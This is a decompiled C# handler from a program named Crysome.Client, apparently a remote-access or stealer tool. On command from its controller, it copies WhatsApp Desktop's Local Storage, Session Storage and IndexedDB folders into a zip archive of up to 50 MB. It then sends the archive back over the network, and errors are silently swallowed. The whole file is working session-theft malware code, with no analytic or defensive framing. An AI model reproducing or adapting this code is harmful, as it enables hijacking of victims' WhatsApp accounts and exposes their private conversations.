using System;
using System.IO;
using System.IO.Compression;
using System.Threading.Tasks;
using Crysome.Common.Network;
using Crysome.Common.Network.Packets;
using Crysome.Common.Network.Packets.Client;

namespace Crysome.Client.Handlers;

public static class WhatsAppHandlers
{
	private static long _totalBytes;

	private static readonly long MaxZipBytes = 52428800L;

	public static void HandleWhatsAppSessionRequest(CrysomeClient client, IPacket packet)
	{
		Task.Run(delegate
		{
			DoCollectWhatsAppSession(client);
		});
	}

	private static void DoCollectWhatsAppSession(CrysomeClient client)
	{
		//IL_0149: Unknown result type (might be due to invalid IL or missing references)
		//IL_0153: Expected O, but got Unknown
		//IL_0029: Unknown result type (might be due to invalid IL or missing references)
		//IL_0033: Expected O, but got Unknown
		//IL_00ef: Unknown result type (might be due to invalid IL or missing references)
		//IL_00f9: Expected O, but got Unknown
		//IL_00db: Unknown result type (might be due to invalid IL or missing references)
		//IL_00e5: Expected O, but got Unknown
		_totalBytes = 0L;
		try
		{
			string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "WhatsApp");
			if (!Directory.Exists(text))
			{
				client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "WhatsApp not installed or no session found.", (byte[])null));
				return;
			}
			string[] array = new string[3]
			{
				Path.Combine(text, "Local Storage"),
				Path.Combine(text, "Session Storage"),
				Path.Combine(text, "IndexedDB")
			};
			using MemoryStream memoryStream = new MemoryStream();
			using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
			{
				string[] array2 = array;
				foreach (string text2 in array2)
				{
					if (Directory.Exists(text2))
					{
						string fileName = Path.GetFileName(text2);
						AddDirectoryToZip(zip, text2, fileName, 52428800L);
					}
				}
			}
			byte[] array3 = memoryStream.ToArray();
			if (array3.Length == 0)
			{
				client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "No WhatsApp session files found.", (byte[])null));
				return;
			}
			client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(true, "", array3));
			Program.Log("WhatsApp session sent: " + array3.Length + " bytes");
		}
		catch (Exception ex)
		{
			Program.Log("WhatsApp session error: " + ex.Message);
			try
			{
				client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, ex.Message, (byte[])null));
			}
			catch
			{
			}
		}
	}

	private static void AddDirectoryToZip(ZipArchive zip, string sourceDir, string zipFolder, long maxBytes, int depth = 0)
	{
		if (depth > 8 || _totalBytes > maxBytes)
		{
			return;
		}
		try
		{
			string[] files = Directory.GetFiles(sourceDir);
			foreach (string text in files)
			{
				if (_totalBytes > maxBytes)
				{
					return;
				}
				try
				{
					FileInfo fileInfo = new FileInfo(text);
					if (fileInfo.Length > 10485760)
					{
						continue;
					}
					string entryName = zipFolder + "/" + Path.GetFileName(text);
					using Stream destination = zip.CreateEntry(entryName, CompressionLevel.Fastest).Open();
					using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
					fileStream.CopyTo(destination);
					_totalBytes += fileInfo.Length;
				}
				catch
				{
				}
			}
		}
		catch
		{
		}
		try
		{
			string[] files = Directory.GetDirectories(sourceDir);
			foreach (string text2 in files)
			{
				if (_totalBytes > maxBytes)
				{
					break;
				}
				string zipFolder2 = zipFolder + "/" + Path.GetFileName(text2);
				AddDirectoryToZip(zip, text2, zipFolder2, maxBytes, depth + 1);
			}
		}
		catch
		{
		}
	}
}
